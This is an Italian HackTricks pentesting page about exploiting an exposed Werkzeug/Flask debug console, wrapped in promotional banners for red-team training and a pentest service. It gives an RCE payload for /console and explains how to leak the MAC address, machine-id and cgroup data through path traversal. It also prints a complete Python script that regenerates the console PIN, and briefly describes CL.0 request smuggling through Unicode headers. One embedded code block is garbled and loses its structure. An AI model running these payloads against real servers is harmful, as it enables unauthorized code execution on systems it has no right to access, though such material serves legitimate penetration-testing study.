Werkzeug / Flask Debug

Impara l'hacking AWS da zero a ero con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per dare loro più tempo per approfondire, aprire shell e divertirsi.

RCE della Console

Se il debug è attivo, potresti provare ad accedere a /console e ottenere RCE.

__import__('os').popen('whoami').read();

Ci sono anche diversi exploit su internet come questoo uno in metasploit.

Protetto da PIN - Traversal del percorso

In alcune occasioni il /console endpoint sarà protetto da un pin. Se hai una vulnerabilità di traversal del file, puoi far trapelare tutte le informazioni necessarie per generare quel pin.

Exploit PIN della console Werkzeug

Forza una pagina di errore di debug nell'applicazione per vedere questo:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

Un messaggio relativo allo scenario "console bloccata" viene riscontrato quando si tenta di accedere all'interfaccia di debug di Werkzeug, indicando la necessità di un PIN per sbloccare la console. Viene suggerito di sfruttare il PIN della console analizzando l'algoritmo di generazione del PIN nel file di inizializzazione del debug di Werkzeug (__init__.py). Il meccanismo di generazione del PIN può essere studiato dal repository del codice sorgente di Werkzeug, anche se è consigliabile ottenere il codice effettivo del server tramite una vulnerabilità di attraversamento file a causa di possibili discrepanze di versione.

Per sfruttare il PIN della console, sono necessari due insiemi di variabili, probably_public_bits e private_bits:

probably_public_bits

  • username: Si riferisce all'utente che ha avviato la sessione di Flask.

  • modname: Tipicamente designato come flask.app.

  • getattr(app, '__name__', getattr(app.__class__, '__name__')): Generalmente risolve a Flask.

  • getattr(mod, '__file__', None): Rappresenta il percorso completo di app.py all'interno della directory di Flask (ad esempio, /usr/local/lib/python3.5/dist-packages/flask/app.py). Se app.py non è applicabile, provare con app.pyc.

private_bits

  • uuid.getnode(): Recupera l'indirizzo MAC della macchina corrente, con str(uuid.getnode()) che lo traduce in un formato decimale.

  • Per determinare l'indirizzo MAC del server, è necessario identificare l'interfaccia di rete attiva utilizzata dall'app (ad esempio, ens3). In casi di incertezza, leak /proc/net/arp per trovare l'ID del dispositivo, quindi estrarre l'indirizzo MAC da /sys/class/net/<device id>/address.

  • La conversione di un indirizzo MAC esadecimale in decimale può essere eseguita come mostrato di seguito:

# Esempio di indirizzo MAC: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): Concatena i dati da /etc/machine-id o /proc/sys/kernel/random/boot_id con la prima riga di /proc/self/cgroup dopo l'ultima barra (/).

Codice per `get_machine_id()`

```python def get_machine_id() -> t.Optional[t.Union[str, bytes]]: global _machine_id

if _machine_id is not None: return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]: linux = b""

machine-id is stable across boots, boot_id is not.

for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue

if value: linux += value break

Containers share the same machine id, add some cgroup

information. This is used outside containers too but should be

relatively stable across boots.

try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")[2] except OSError: pass

if linux: return linux

On OS X, use ioreg to get the computer's serial number.

try:

</dettagli>

Una volta raccolti tutti i dati necessari, lo script di exploit può essere eseguito per generare il PIN della console Werkzeug. Lo script utilizza i `probably_public_bits` e `private_bits` assemblati per creare un hash, che viene poi sottoposto a ulteriore elaborazione per produrre il PIN finale. Di seguito è riportato il codice Python per eseguire questo processo:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

Questo script produce il PIN tramite l'hashing dei bit concatenati, aggiungendo specifici salt (cookiesalt e pinsalt), e formattando l'output. È importante notare che i valori effettivi per probably_public_bits e private_bits devono essere ottenuti con precisione dal sistema target per garantire che il PIN generato corrisponda a quello atteso dalla console Werkzeug.

Se si utilizza una vecchia versione di Werkzeug, provare a cambiare l'algoritmo di hashing in md5 invece di sha1.

Caratteri Unicode di Werkzeug

Come osservato in questo problema, Werkzeug non chiude una richiesta con caratteri Unicode negli header. E come spiegato in questo articolo, ciò potrebbe causare una vulnerabilità di Smuggling di Richieste CL.0.

Questo perché, in Werkzeug, è possibile inviare alcuni caratteri Unicode e farà "rompere" il server. Tuttavia, se la connessione HTTP è stata creata con l'intestazione Connection: keep-alive, il corpo della richiesta non verrà letto e la connessione rimarrà aperta, quindi il corpo della richiesta verrà trattato come la successiva richiesta HTTP.

Riferimenti

Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.

Last updated